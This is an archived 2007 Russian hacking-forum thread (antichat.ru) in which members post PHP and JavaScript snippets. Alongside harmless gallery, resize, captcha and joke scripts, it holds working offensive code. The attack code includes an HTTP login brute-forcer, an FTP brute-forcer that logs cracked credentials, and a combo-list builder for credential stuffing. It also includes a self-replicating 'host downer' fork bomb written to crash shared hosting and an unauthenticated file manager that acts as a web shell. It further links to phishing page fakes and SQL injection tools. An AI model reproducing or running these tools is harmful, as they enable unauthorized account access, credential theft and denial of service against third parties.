HTTP 66.165.172.163 80 No UnResolved UnResolved 562 No
HTTP 212.227.80.22 3128 No UnKnown s15179588.rootmaster.info 4328 No
HTTP 219.95.65.250 80 No UnResolved UnResolved 1047 No
HTTP 85.88.182.139 3128 No Russia not-defined-pppoe.amur.ru 1032 No";
preg_match_all("/[\d]+\.[\d]+\.[\d]+\.[\d]+\s[\d]+/i",$data,$match);
print_r($match);
?>

Fr-Ron
12.04.2007, 08:38
Вот, давненько писал, руки никак не доходят чтоб чазмер и прорчие прелести выводились =)

Галерея для изображений. По дэфолту берет все изображения из папки /walp.
Автоматически считает все картинки в папке и постранично выводит их уменьшенные копии ( по 4 на странице ). При нажатии на мини - картинку, кидает на оригинал.


<?php

$dir = opendir ("./walp");
$count_f = 0;
while ( $file = readdir ($dir))
{
if (( $file != ".") && ($file != ".."))
{ $count_f = $count_f + 1; }
$walp[$count_f] = $file;
}
closedir ($dir);

// Выводим список страниц
If ($p == 0) { $p = 1; }
print ("<br><br>");
$pp = $p - 1;
print ("pages :");
if ($p > 1) { print ("<a href = ?p=$pp> &lt;&lt;prev..</a>"); }
print ("<a href = ?p=1>1</a>");
for ($i = 2; $i <= ($count_f/4); $i++)
{ print ("..<a href = ?p=$i>$i</a>"); }
$count_fn = $count_f/4;
if (($i - 1)*4 < $count_f)
{ print ("..<a href = ?p=$i>$i</a>"); }
$pn = $p + 1;
if ($p < $count_f/4) { print ("<a href= ?p=$pn>..next>></a></a>"); }
print ("<br><hr width = 80%>");

// Выводим картинки в зависимоти от страницы

if ($p < $count_f/4)
{
for ($i = ($p*4 - 3); $i <= ($p*4); $i++)
{
print ("<a href = ./walp/$walp[$i]><img src = ./walp/$walp[$i] width=400></a><br><br><hr width = 80%><br>");
}
print ("<br><br>");
}
if ( $p >= $count_f/4)
{
for ($i = ($p*4 - 3); $i <= $count_f; $i++)
{
print ("<a href = ./walp/$walp[$i]><img src = ./walp/$walp[$i] width=400></a><br><br><hr width = 80%><br>");
}
print ("<br><br>");
}
// Выводим список страниц

print ("<br><br>");
$pp = $p - 1;
print ("pages :");
if ($p > 1) { print ("<a href = ?p=$pp> &lt;&lt;prev..</a>"); }
print ("<a href = ?p=1>1</a>");
for ($i = 2; $i <= ($count_f/4); $i++)
{ print ("..<a href = ?p=$i>$i</a>"); }
$count_fn = $count_f/4;
if (($i - 1)*4 < $count_f)
{ print ("..<a href = ?p=$i>$i</a>"); }
$pn = $p + 1;
if ($p < $count_f/4) { print ("<a href= ?p=$pn>..next>></a></a>"); }
print ("<br><hr width = 80%>");
?>

mamamot
14.04.2007, 19:07
Полностью написанный мною файловый менеджер на пхп.
Включает в себя текстовый редактор файлов, функцию рекурсивного удаления каталогов, загрузки файлов на сервер и создания новых папок...+ позитивный дезигн и еще много всего - в одном файле!!!

<?php
/////////////////////////////////////////////////////////////////
/////////////////////////php file browser/////////////////////////
///////////////coded by mamamot spec. for antichat.ru ///////////////
//////////////////////////////2007//////////////////////////////

//проверяем содержимое массива POST
if(isset($_POST['do']))
{
//записываем в файл после редактирования
if($_POST['do']=="edit")
{
$fd=fopen($_POST['filename'], w);
if(!$fd) exit("Ошибка!");
fwrite($fd, $_POST['content']);
fclose($fd);
echo "Редактирование успешно завершено!";
echo '<a href="'.$_SERVER['PHP_SELF'].'?do=browse&p='.$_POST['p'].'" >Вернуться</a>';
}
//загружаем файл на сервер
elseif($_POST['do']=="upload")
{
if(copy($_FILES['filename']['tmp_name'], $_POST['p']."/".$_FILES['filename']['name']))
{
echo("Файл успешно загружен: <br />");
echo($_FILES['filename']['name']);
echo '<br />';
echo '<a href="'.$_SERVER['PHP_SELF'].'?do=browse&p='.$_POST['p'].'" >Вернуться</a>';
}
else
{
echo("Ошибка!<br />");
echo '<a href="'.$_SERVER['PHP_SELF'].'?do=browse&p='.$_POST['p'].'" >Вернуться</a>';
}
}
exit();
}
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >
<head>
<title><? echo "php file browser"; if(isset($_GET['p'])) echo " - ".$_GET['p']; ?></title>
<style type="text/css" >
body
{
font-family: Verdana, Arial;
font-size: 14px;
background-color: #fcc;
}
tr.header
{
background-color: #ccf;
font-family: Verdana, Arial;
font-size: 14px;
}
tr.one
{
background-color: #cff;
font-family: Verdana, Arial;
font-size: 14px;
}
tr.two
{
background-color: #fc6;
font-family: Verdana, Arial;
font-size: 14px;
}
h2
{
font-family: Verdana, Arial;
font-size: 22px;
color:#000;
}
</style>
</head>
<body>
<?php
//Удаление файла
function delete_file($dir, $name)
{
if(!@unlink($dir."/".$name))
{
echo "Доступ запрещен!";
}
else
{
echo "Удалено успешно!";
}
echo '<a href="'.$_SERVER['PHP_SELF'].'" >На главную</a>';
}

//рекурсивное удаление папки
function delete_dir($dir)
{
//открываем папку
$dd=opendir($dir);
//просматриваем все файлы
$todo=true;
while(($file = readdir($dd)))
{
//если файл - удаляем
if(is_file("$dir/$file"))
{
if(!unlink("$dir/$file"))
{
exit("Ошибка-доступ запрещен!");
}
}
//если папка - вызываем рекурсивно функцию удаления
elseif(is_dir("$dir/$file") && $file!='.' && $file!='..')
{
delete_dir("$dir/$file");
}


}
//закрываем папку
closedir($dd);
//удаляем саму уже пустую директорию
rmdir($dir);
echo "Успешно удалено!<br />";
echo '<a href="'.$_SERVER['PHP_SELF'].'" >На главную</a>';
}

//вывод формы загрузки файла
function upload_form()
{
echo '<h2>Загрузка файла в '.$_GET['p'].'</h2>
<form method="post" enctype="multipart/form-data" >
<input type="file" name="filename" /><br />
<input type="hidden" name="p" value="';
if(isset($_GET['p']))
{
echo $_GET['p'].'" />';
}
else
{
echo '." />';
}
echo '<input type="hidden" name="do" value="upload" />';
echo '<input type="submit" value="Загрузить" />';
echo '</form>';
echo '<a href="'.$_SERVER['PHP_SELF'].'?do=browse&p='.$_GET['p'].'" >На главную</a>';
}

//вывод информации о файле
function file_info()
{
$query=$_GET['p']."/".$_GET['name'];
echo "<h2>Информация о файле: $query</h2>";
echo "Размер: ".filesize($query)."<br />";
$type=filetype($query);
echo "Тип: ".$type."<br />";
echo "Последнее изменение: ".date("d.m.Y G:i:s",filemtime($query))."<br />";
if($type=="file")
{
echo '<a href="'.$query.'" >Скачать/просмотреть</a><br />';
echo '<a href="'.$_SERVER['PHP_SELF'].'?do=delete_f&p='.$query.'" >Удалить файл</a><br />';
echo '<a href="'.$_SERVER['PHP_SELF'].'?do=edit&p='.$_GET['p'].'&name='.$_GET['name'].'" >Редактировать(текстовый режим)</a><br />';
}
echo '<a href="'.$_SERVER['PHP_SELF'].'?do=browse&p='.$_GET['p'].'" >На главную</a>';
}

//создание папки
function makedir($query, $dirname)
{
$custom=$query."/".$dirname;
if(!mkdir($custom,0700))
{
echo "Ошибка создания каталога!";
}
else
{
echo "Успешно создано!";
}
echo '<a href="'.$_SERVER['PHP_SELF'].'?do=browse&p='.$query.'" >Вернуться</a>';
}

//вывод формы редактирования файла
function edit_file($dir, $name)
{
$query=$dir.'/'.$name;
$fd=fopen($query, "r");
if($fd)
{
$buf=fread($fd, filesize($query));
fclose($fd);
echo '<h2>Редактирование файла</h2>';
echo '<form method="POST" >';
echo '<textarea cols="100" rows="50" name="content" >'.$buf.'</textarea><br />';
echo '<input type="hidden" name="do" value="edit" />';
echo '<input type="hidden" name="p" value="'.$dir.'" />';
echo '<input type="hidden" name="filename" value="'.$dir.'/'.$name.'" />';
echo '<input type="submit" name="submit" value="Сохранить" />';
echo '</form>';
}
else
{
echo 'Ошибка!';
}
echo '<a href="'.$_SERVER['PHP_SELF'].'?do=browse&p='.$dir.'" >Вернуться</a>';
}

//проверяем режим вывода
if(!isset($_GET['do']) || $_GET['do']=="browse")
{
//основная функция - главное окно работы с файлами и папками
if(!isset($_GET['p']))
{
$dir = ".";
echo "<h2>Корневая директория<h2>";
//получаем список файлов
$filelist = scandir(".");
}
else
{
echo "<h2>".$_GET['p']."</h2>";
$dir=$_GET['p'];
//получаем список файлов
$filelist = scandir("./".$_GET['p']);
}
//выводим данные в виде таблицы
//выводим заголовок таблицы
echo "<table>";
echo '<tr class="header">';
echo "<td>Имя</td>";
echo "<td>Размер</td>";
echo "<td>Тип файла</td>";
echo "<td>Последнее изменение</td>";
echo "<td>Удалить</td>";
echo "</tr>";
$one=true;
foreach($filelist as $file)
{
$query=$dir."/".$file;
//получаем тип файла
$type=filetype($query);
//задаем стиль строки для облегчения восприятия
if($one)
{
echo '<tr class="one">';
}
else
{
echo '<tr class="two">';
}
$one=!$one;
if($type=="dir")
{
echo '<td><a href="'.$_SERVER['PHP_SELF'].'?do=browse&p='.$query.'" >'.$file.'</a></td>';
}
else
{
echo '<td><a href="'.$_SERVER['PHP_SELF'].'?do=fi&p='.$dir.'&name='.$file.'" >'.$file.'</a></td>';
}
//выводим размер файла
echo "<td>".filesize($query)."</td>";
echo "<td>".$type."</td>";
echo "<td>".date("d.m.Y G:i:s",filemtime($query))."</td>";
if($type=="file")
{
echo '<td><a href="'.$_SERVER['PHP_SELF'].'?do=delete_f&p='.$dir.'&name='.$file.'" >Удалить файл</a></td>';
}
elseif($type=="dir")
{
echo '<td><a href="'.$_SERVER['PHP_SELF'].'?do=delete_d&p='.$query.'" >Удалить папку</a></td>';
}
echo "</tr>";
}
echo "</table>";
//после таблицы мы выводим дополнительные инструменты
//создание папки
echo '<p>';
echo 'Создание папки в текущей директории:<br />';
echo '<form method="GET" >';
echo '<input type="hidden" name="do" value="mkdir" />';
echo '<input type="hidden" name="p" value="'.$dir.'" />';
echo '<input type="text" name="name" value="Имя папки" />';
echo '<input type="submit" name="submit" value="submit" />';
echo '</form>';
echo '<p>';
//загрузка файла

echo '<p>';
echo 'Загрузить файл';
echo '<form method="POST" enctype="multipart/form-data" >';
echo '<input type="hidden" name="do" value="upload" />';
echo '<input type="hidden" name="p" value="'.$dir.'" />';
echo '<input type="file" name="filename" /><br />';
echo '<input type="submit" name="submit" value="Загрузить" />';
echo '</form>';
}
//информация о файле
elseif($_GET['do']=="fi")
{
file_info();
}
//удаление файла
elseif($_GET['do']=="delete_f")
{
delete_file($_GET['p'],$_GET['name']);
}
//удаление папки
elseif($_GET['do']=="delete_d")
{
delete_dir($_GET['p']);
}
//редактирование файла
elseif($_GET['do']=="edit")
{
edit_file($_GET['p'],$_GET['name']);
}
elseif($_GET['do']=="mkdir")
{
makedir($_GET['p'],$_GET['name']);
}
?>
</body>
</html>


Я долго отлаживал, но если остались баги-не судите строго:)

mamamot
15.04.2007, 11:59
Кто вас так учил писать регулярные выражения?)
Ты что.Я ужаснулся когда это увидел.


А я их и не писал :D :D
Ненавиже регексы - я залез на http://regexlib.com и взял оттуда:) Ибо я вообще раньше кодил на ВБ.НЕТ и не привык напрягаться :D

nc.STRIEM
15.04.2007, 14:24
>>>mamont
http://php.ru/manual/function.scandir.html

scandir
(PHP 5)
scandir -- Получить список файлов и каталогов, расположенных по указанному пути


функция scandir() есть начиная с 5ой версии, а она еще не везде стоит((

mamamot
15.04.2007, 20:11
Было:


if(!isset($_GET['p']))
{
$dir = ".";
echo "<h2>Корневая директория<h2>";
//получаем список файлов
$filelist = scandir(".");
}
else
{
echo "<h2>".$_GET['p']."</h2>";
$dir=$_GET['p'];
//получаем список файлов
$filelist = scandir("./".$_GET['p']);
}


Стало:


if(!isset($_GET['p']))
{
$dir = ".";
echo "<h2>Корневая директория<h2>";
//получаем список файлов
$dd=opendir(".");
while(($file = readdir($dd)) !== false)
{
$filelist[]=$file;
}
closedir($dd);
}
else
{
echo "<h2>".$_GET['p']."</h2>";
$dir=$_GET['p'];
//получаем список файлов
$dd = opendir($dir);
while(($file = readdir($dd)) !== false)
{
$filelist[]=$file;
}
closedir($dd);
}

Замените и пользуйтесь на здоровье! Хотя я советовал бы переходить на пхп5, если это возможно

Underwit
16.04.2007, 19:52
Этот скрипт создает комбо лист.

<?
$login = file('login.txt');
$pass = file('pass.txt');
$combo = fopen('combo.txt','a');
for($a='0'; $a<sizeof($login); $a++)
{
for($b='0'; $b<sizeof($pass); $b++)
{
fwrite($combo, rtrim($login[$a]).';'.$pass[$b]);
}
}
fclose($combo);
?>


а Этот скрипт читает файл сравнивает с шаблоном и выводит список совпадений без повтарений.

<?
error_reporting(0);
$sha = '(www)\.[a-z0-9A-Z]{1,100}\.(com)';
$path = 'file.htm';
$end = array();
$link = '';
$file = fopen($path, 'r');
while(!feof($file))
{$_file = fgets($file);
if(ereg($sha, $_file, $link))
{array_push($end, $link['0']);}}
fclose($file);
$end = array_unique($end);
foreach($end as $key => $val)
{echo $val.'<br>';}
?>

mR_LiNK[deface_0nl
17.04.2007, 03:46
Скрипт простой брутфорс атаки по http.
(Некотрые моменты были упущены и специально не рассмотрены,
чуть позже для наглядности приведу реальный пример, с разбором тела ответа, но пока только так.
Также очень часто для защиты от подобной атаки приложения используют различные проверки по заголовкам,
их помогает избежать подмена данных в заголовках.
Так же чуть позже напишу скрипт брута через прокси)

Скрипту необходимо 2-а файла. 1-ый со списком логинов (каждый логин в новой строке!).
2-ой словарь для брута (каждое слово в новой строке!)
<?php
//массив логинов
$f_log = fopen ('login.txt', 'r');
$login = fread($f_log, 65000);
$name = explode("\n", $login);
for ($i=0; $i<count($name); $i++)
{
$name[$i]=trim($name[$i]);
}
fclose($f_log);

//массив паролей из словаря))
$f_pass = fopen ('pass.txt', 'r');
$passwd = fread($f_pass, 65000);
$pass = explode("\n", $passwd);
for ($i=0; $i<count($pass); $i++)
{
$pass[$i]=trim($pass[$i]);
}
fclose($f_pass);

$hostname = "www.host.ru";
//соединяемся с сервером
$fp = fsockopen($hostname, 80, $errno, $errstr, 30);
if(!$fp)
{ //проверяем успешность соединения
echo "$errstr ($errno)<br />\n";
} else {
//собственно брут
for($n=0; $n<count($name); $n++)
{
$path = "/script.php?login=".$name[$n]."&passwd=";
for($p=0; $p<count($pass); $p++)
{
$header = "GET http://".$hostname.$path.$pass[$p]." HTTP/1.0\n\n";

//отправляем запрос
fputs($fp, $header);
//построчно считываем ответ сервера
$line='';
while (!feof($fp))
{
$line .= fgets($fp, 1024);
}
//работаем с ответом
//особенность аутентификации через формы - это невозможность анализа полей
//http заголовков, так как независимо от успешности аутентификации в них будет '200OK'
//соответственно необходим парсинг тела ответа на наличие
//характерных элементов успешной аутентификации

//$rez = fopen('rezcopyline.txt', 'a+'); применяется для
//fputs($rez, $line); отладки
//fclose($rez); скрипта

//здесь несколько строк кода разбора ответа
//шаблонного примера здесь привести не могу
//т.к. абсолютно каждый раз код разный

//если характерный элемент был найден::
$luck = 'Для '.$name[$n].' пароль: '.$pass[$p];
$f_success = fopen('result.txt', 'a+');
fputs($f_success, $luck); //пишем результат в файл
fclose($f_success);
echo '<br>';
echo 'Для '.$name[$n].' пароль: '.$pass[$p];
echo '<br>';
}
}
}
fclose($fp);
?>

зы:: под мелкие нужды легко вносятся изменения или модификации.
ззы:: если у кого возникли вопросы и предложения,в личку!
зззы:: всю конструктивную критику с удовольствием принимаю!!

Joker-jar
28.04.2007, 17:28
PHP. Функция для вывода списка файлов в данной дериктоии и ниже. Форматировать по вкусу.
function browse_tree($npath, $ipath, $showhtfiles=false)
{
$op="";
$notadir=array(".", "..");
$dir=opendir($npath);
while ($file=readdir($dir))
{
// если стоит опция не показывать файлы вроде ".htaccess" - проверяем
$stripped_as_ht=($showhtfiles) ? false : (substr($file,0,1)==".") ;
// если это не "." и не ".."
if ((filetype($npath.$file)=="dir")&&(!in_array($file, $notadir))
{
$nipath="$ipath/$file";
browse($npath.$file."/", $nipath);
}
else
if ((!in_array($file,$notadir)) && (!$stripped_as_ht))
{
$op.="$ipath/$file\n";
}
}
// При необходимости - раскомментировать следующую строку
// $op=nl2br($op);
return $op;
}

mR_LiNK[deface_0nl
29.04.2007, 03:23
Функция ресайза изображения

На вход подаются путь к изменяемой картинке, новая ширина и высота.

function SetImgSize($img, $width, $height)
{
//получаем тип файла
{
case "jpg":
$srcImage = @ImageCreateFromJPEG($img);
break;

case "gif":
$srcImage = ImageCreateFromGIF($img);
break;

case "png":
$srcImage = ImageCreateFromPNG($img);
break;

default:
return -1;
break;
}

$srcWidth = ImageSX($srcImage);
$srcHeight = ImageSY($srcImage);

if(($width < $srcWidth) || ($height < $srcHeight))
{
$ratioWidth = $srcWidth/$width;
$ratioHeight = $srcHeight/$height;

if($ratioWidth < $ratioHeight)
{
$destWidth = $srcWidth/$ratioHeight;
$destHeight = $height;
}
else
{
$destWidth = $width;
$destHeight = $srcHeight/$ratioWidth;
}

$resImage = ImageCreateTrueColor($destWidth, $destHeight);

ImageCopyResampled($resImage, $srcImage, 0, 0, 0, 0, $destWidth, $destHeight, $srcWidth, $srcHeight);

unlink($img);

//определяем тип
{
case "jpg":
ImageJPEG($resImage, $img, 100);
break;

case "gif":
ImageGIF($resImage, $img);
break;

case "png":
ImagePNG($resImage, $img);
break;
}

ImageDestroy($srcImage);
ImageDestroy($resImage);
}
}

mamamot
30.04.2007, 10:51
Простой брутофорсер FTP


<?php
//первое-определяем файлы с которыми работаем:
//Список серверов:
$fservers = "servers.txt";
//Список логинов:
$flogins = "logins.txt";
//Список паролей:
$fpasswords = "passwords.txt";
//Лог-файл:
$flog = "ftpbrut.log";
//Открываем файлы:
$servers = file($fservers);

$logins = file($flogins);

$passwords = file($fpasswords);

$fd = fopen($flog, "w");
//Цикл перебирает сервера
foreach($servers as $server)
{
$connect = ftp_connect($server);
echo $server."<br />";
if($connect)
{
foreach($logins as $login)
{
foreach($passwords as $password)
{
$result = ftp_login($connect, $login, $password);
if($result)
{
$str = "ftp://".$login.":".$password."@".substr($server,6);
$log .= $str."\r\n";
echo $str."<br />";
break;
}
}
if($result)
{
break;
}
}
ftp_quit($connect);
}
}
fwrite($fd, $log);
fwrite($fd, "done succesful");
echo "done succesful";
?>

Developer
04.05.2007, 20:57
Скрипт, может не совсем полезный... В общем, downer... Прицнип работы:
1. Запускается скрипт, в нем вечный цикл, который создает точно такой же скрипт с другим именем и запускает его.
2. Шаг 1

За 10 секунд один файл порождает около 1000 таких скриптов и запускает их... Эти 1000 скрипт за следующие 10 секунд пораждают 1000 * 1000 таких скрипт и запускают их %))) Я думаю это должно убить хостинг.

Требования: поддержка popen на хосте и права на создание файлов в папке.

Скрипт написал за 10 минут, просто было интерестно :)))

<?php

// HOST DoooWNER
// By SpeedHack

if (isset($_GET['start'])) {
$fp = popen('php -f ' . __FILE__ . ' &', 'r');
pclose($fp);
} else {
while (1) {
$file = dirname(__FILE__) . '/' . md5(uniqid()) . '.php';
$fp = fopen($file, 'w');
fwrite($fp, file_get_contents(__FILE__));
fclose($fp);
$fp = popen('php -f ' . $file . ' &', 'r');
pclose($fp);
}
}

?>

Developer
04.05.2007, 21:01
Можно чуть упростить:

<?php

while (1) {
$new = dirname(__FILE__) . '/' . md5(uniqid()) . '.php';
$fp = fopen($new, 'w');
fwrite($fp, file_get_contents(__FILE__));
fclose($fp);
$fp = popen('php -f ' . $new . ' &', 'r');
pclose($fp);
}

?>

KoT94
08.05.2007, 07:43
прикольно показывает анекдотики

<p align="left"><strong>Анекдот:</strong><br>
<font size="1" face="Verdana, Arial"><script
language="JavaScript">
var h=(Math.random()*26);
if (h <1) document.writeln("- Мыкола, ты слыхал, як москали ICMP-пакеты называють? <br> - Як? <br> - Пинги!..");
if (h > 1 && h < 2) document.writeln("Интернетчика спросили: <br> - Что такое Червона Рута? <br> - Это женщина-админ на сервере Компартии.");
if (h > 2 && h < 3) document.writeln("Звонок в компьютерную контору: <br> - С моим компьютером проблемы, он не включается... <br> - Как не включается? <br> - Да пишет все время: Вставьте дискету, вставьте дискету... <br> - А вы вставляли? <br> - Нет... Как-то не догадался.");
if (h > 3 && h < 4) document.writeln("Подведены итоги лотереи <b>Windows 95</b>: <br> Выиграла фирма Microsoft. Разыграны миллионы чайников.");
if (h > 4 && h < 5) document.writeln("Школьный учитель спрашивает учеников о профессии родителей: <br> - Вася, чем твоя мама занимается на работе? <br> Вася встает и гордо говорит: <br> - Она - доктор! <br> - Замечательно, ну как насчет тебя, Маша? <br> Девочка стеснительно произносит: <br> - Мой папа разносит почту. <br> - Спасибо, Маша - говорит учитель. <br> Ну, а твои родители что делают, Вовочка? <br> Вовочка гордо встает и объявляет: <br> - Мой папа играет музыку в борделе! <br> Обалдевший учитель решил направиться к Вовочке домой. <br> - В каких условиях вы растите ребенка? - спрашивает он у отца. <br> Тот отвечает: <br> - Вообще-то я программист и специализируюсь на TCP/IP коммуникационном протоколе в системе UNIX. Ну как объяснить это семилетнему пацану?");
if (h > 5 && h < 6) document.writeln("- Вы уверены,что хотите удалить папку D:\TEMP? <br> - Да! <br> - В этой папке находятся файлы. Вы уверены, что хотите их удалить? <br> - Да!! <br> - Удаление этих файлов может повлиять на зарегистрированные программы. Вы все еще уверены? <br> - Да!!! - Эти файлы могут использоваться системой. Вы уверены? <br> - Пошла ты нахрен! - заорал админ и нажал Cancel. <br> - Ага! Испугался! - подумала NT.");
if (h > 6 && h < 7) document.writeln("Идет молитва в церкви. Чинно-спокойно льется речь. <br> Вдруг небеса разверзаются и оттуда в лучах небесного света появляется лицо Бога: <br> - Сыны и дочери мои, настал момент... <br> Со страшным грохотом небеса захлопываются. <br> Все прихожане в шоке! Никто не верит своим глазам. <br> Через несколько минут все повторяется снова: <br> - Сыны и дочери мои, настал момент мне предст.... <br> Все судорожно крестятся. Вдруг небеса опять разверзаются, из сияния выглядывает омраченный лик Господа: <br> - Вот же гребаный провайдер!");
if (h > 7 && h < 8) document.writeln("Компьютер позволяет решать все те проблемы, которых до изобретения компьютера не существовало.");
if (h > 8 && h < 9) document.writeln("Штирлиц просматривает электронную почту. <br> Hезаметно входит Мюллер. У Штирлица на экране бессмысленный набор символов. <br> - Шифровка! - подумал Мюллер. <br> - Koi8-r - подумал Штирлиц.");
if (h > 9 && h <10) document.writeln("Завис компьютер? Выдерни шнур, выдави стекло.");
if (h > 10 && h <11) document.writeln("Чем отличается программист от пользователя? <br> Пользователь думает, что в килобайте 1000 байт, а программист думает, что в километре 1024 метра.");
if (h > 11 && h <12) document.writeln("По окончании инсталляции программ Microsoft очень часто можно прочесть <br> - <b>Мы долго и трудно работали. Наслаждайтесь!</b> <br> После работы с некоторыми программами Microsoft хочется изменить эту фразу на следующую: <br> <b>- Мы долго и трудно работали. Теперь - ваша очередь!</b>");
if (h > 12 && h <13) document.writeln("Предлагается к продаже <b>Соборъ</b> - надёжная помощь в комплексной автоматизации вашего прихода. Компьютер <b>Соборъ</b> - это: <br> - кадило и сокадило на 1GHz <br> - оперативная паперть, расширяемая до 1024 меганищих <br> - 15-ти дюймовый SVGA алтарь (на складе имеются 17-ти и 21 дюймовые модели) <br> - жесткий несъемный крест <br> - кружка двухщелевая типа <b>На восстановление храма</b> <br> - круглый принтер для пасхальных яиц <br> - клавиатура со старославянским шрифтом и раскладкой <br> По желанию заказчика может быть установлено следующее лицензионное ПО: <br> - Старый Завет 95 <br> - Новый Завет 98 <br> - Слово Господне 2000 <br> - 1С: Исповедальня (с сохранением тайны исповеди и выводом на широкий принтер) <br> Так же наша организация подключит ваш компьютер через выделенную линию к Верховному Провайдеру.");
if (h > 13 && h <14) document.writeln("Если чрезмерная увлеченность вашего ребенка компьютерными играми вызывает у вас беспокойство, постарайтесь приобщить его к более серьезным и здоровым занятиям: картам, вину, девочкам.");
if (h > 14 && h <15) document.writeln("Пpиходит сантехник к пpогpаммисту pемонтиpовать засоpившуюся pаковину и начинает ковыpяться в отстойнике... <br> - А у вас тут из сети все на винт падает... Вот и забило! <br> - Hадо винт больше ставить? <br> - Hет, винт надо вообще нахрен спилить!");
if (h > 15 && h <16) document.writeln("Программист ставит себе на тумбочку перед сном два стакана. <br> Один с водой - на случай, если захочет ночью пить. А второй пустой - на случай, если не захочет.");
if (h > 16 && h <17) document.writeln("Что общего между морской свинкой и женщиной-программером? То, что морская свинка - она и не свинка, и не морская.");
if (h > 17 && h <18) document.writeln("Земля. 2050 год. Генный инженер-программист разбирает очерендной кусок генной последовательности и видит следующий комментарий: <br> - /* A eti geny nado by ubrat nahren. Archangel Gavriil */");
if (h > 18 && h <19) document.writeln("Компьютерщик, провозившийся всю ночь с установкой кривой видео-карты, заходит в булочную после бессонной ночи: <br> - Мне, пожалуйста, буханку черно-белого хлеба и батон цветного.");
if (h > 19 && h <20) document.writeln("Едут в машине новый русский, инженер и программист. Машина заглохла. Инженер: <br> - Сейчас посмотрю в чем дело! <br> Новый русский: <br> - Да не беспокойся, я по мобильнику спецбригаду вызову! <br> Программист: <br> - Спокойно, ребята, сейчас выйдем, снова зайдем и она заработает!");
if (h > 20 && h <21) document.writeln("Приходит программист в библиотеку и говорит: <br> - Позовите мне архивариуса! Мне надо его спросить! <br> - Я его отправил в архив. Могу я вам помочь? <br> - Разархивируйте его, он мне срочно нужен!");
if (h > 21 && h <22) document.writeln("Есть три способа, которыми русские програмисты достают программное обеспечение: <br> воровство, грабеж и обмен награбленным.");
if (h > 22 && h <23) document.writeln("Билл Гейтс получил Hобелевскую премию по экономике и медицине за то, что додумался продавать геморрой за такие большие деньги!");
if (h > 23 && h <24) document.writeln("В кои-то веки программер идет домой засветло. Все вокруг красиво, деревья, птички, облачка... Останавливается он и говорит: <br> - Вот ведь блин, и ведь без всякого OpenGL!");
if (h > 24 && h <25) document.writeln("Два программиста едут в переполненном автобусе. Один - другому: <br> - Что-то у меня с писюком! <br> Пассажиры замирают. <br> - А что с ним? <br> - Да висит часто... <br> - Может вирус какой? <br> - Да проверял, все стерильно... <br> - А висит хорошо? <br> - Крепко, тремя пальцами не поможешь...");
if (h > 25 && h <26) document.writeln("Один компьютерщик рассказывает другому: <br> - Представляешь, вчера возвращаюсь с работы чуть раньше обычного, а у жены в постели - незнакомый мужик. И глаза у обоих хитрые-хитрые... Я сразу неладное заподозрил, кинулся к компу, пытаюсь выйти в Интернет - а они, гады, пароль сменили...");
</script></font>
</p>

Isis
12.05.2007, 01:52
Самая защищенная и комфортная каптча:

captcha.php
<?php
session_start();
?>
<img src="captcha.php" />
<form method="post">
Enter code : <input type="text" name="get_code">
<input name="sub" type=submit value="Проверить">
</form>
<?php
if($_POST['sub']) {
if($_POST['get_code'] == $_SESSION['code']) {
echo "Картинка введена верно";
} else {
echo "Картинка введена неверно";
}
}
?>

captcha.php
<?php
session_start();
session_register('code');
$_SESSION['code'] = rand(1000000,9999999);
for($i = 0; $i < 7; $i++) {
$arr[$i] = substr($_SESSION['code'],$i,1);
}
$im = imagecreate(130,40);
imagecolorallocate($im,255,255,255);
$a = 0;
for($i = 0; $i < 7;$i++)
{
$color=imagecolorallocate($im,rand(0,250),rand(0,2 50),rand(0,250));
imagestring($im,3,$a+=15,0,$arr[$i],$color);
}
header("Content-type: image/jpeg");
imagejpeg($im,'',100);
?>

SpewFire
12.05.2007, 10:18
Выкладываю фейки :
yandex.ru
tut.by
rambler.ru
pochta.ru
mail.ru
hotmail.ru
gmail.com

Сперты с t-11.org
Мож кому пригодятся.
http://rapidshare.com/files/30822932/fake.rar

Пасиб....пригодиться....тебе +!!!!!!!!

Slon
27.05.2007, 19:04
Хочу представить вам мои скрипты, может кто то найдет что нибудь полезное для себя.
Кому пригодились мои скрипты не забываем про + :)

#############################

SQL binary search
Утилитка для посимвольного пребора в SQL бинарным поиском. Метод используеться при отсутствие виода результатов SQL инъекции
+ хорошая скорость работы
+ все полностью автоматизированно. После выполнение будет выдан полный текст результата подзапроса

URL: http://aoh.name/sploit/bin.txt

#############################

SQL injection tool
Без коментариев. Утилита для подбоpа кол-ва столбцов в union и автоматического перебора имен таблиц по словарю.

URL: http://aoh.name/sploit/sql.txt

#############################

Proxy finder
Утилита для многопоточного поиска прокси и сканирование прокси листа на живые и неживые прокси.
+ Многопоточность
+ Работа с прокси листами
- На active perl иногда не настроиваетсья таймаут.

URL: http://aoh.name/sploit/a0hpr0xyf1nder.txt

REDsaratov
11.06.2007, 01:20
скрипт показывающий кодировку


<HTML>
<HEAD>
<TITLE>Ваша кодировка :</TITLE> </HEAD>
<BODY BGCOLOR="#FFFFFF"> <script> var u=navigator.userAgent; if (u.indexOf("Win") != -1)
// Текст в 1251 document.writeln ("Windows 1251") ;
else if (u.indexOf("DOS") != -1 || u.indexOf("OS/2") != -1)
// Текст в 866 document.writeln("MS-DOS CP866"); else
// Текст в K018 document.writein ( "лПДЙТПЧЛБ KOI8-R") ;
</script>
</BODY>
</HTML>





скрипт 2-Base перекодировщик

<HTML>
<HEAD>
<TITLE>Base converter</TITLE>
<SCRIPT LANGUAGE="JavaScript"> <!-- hiding content from old browsers
// Copyright (c) 1996-1997 Tomer Shiran. All rights reserved.
// Permission given to use the script provided that this notice remains as is.
// Additional scripts can be found at http:
//www.geocities.com/~yehuda/
// Simulate the "power of" (^) operator
/////////////////////////////////////////
function power(op1, op2) { var result = 1 for (var i = 1; i <= op2; i++) { result *= op1 } return result }
// Simulate the div (integral division)
// operator
/////////////////////////////////////////
function div(op1, op2) {
return Math.round(op1 / op2 - op1 % op2 / op2) }
// Returns a digit (maximum hexadecimal)
// based on its decimal value
/////////////////////////////////////////
function getDigit(val) { if (val == 10) return "A" if (val == 11) return "B" if (val == 12) return "C" if (val == 13) return "D" if (val == 14) return "E" if (val == 15) return "F" return val
// the return statement terminates the function,
// so there is no need for else statements }
// Returns the decimal value of a digit
// (maximum hexadecimal)
/////////////////////////////////////////
function getValue(dig) { if (dig == "A") return 10 if (dig == "B") return 11 if (dig == "C") return 12 if (dig == "D") return 13 if (dig == "E") return 14 if (dig == "F") return 15 return dig
// the return statement terminates the function,
// so there is no need for else statements }
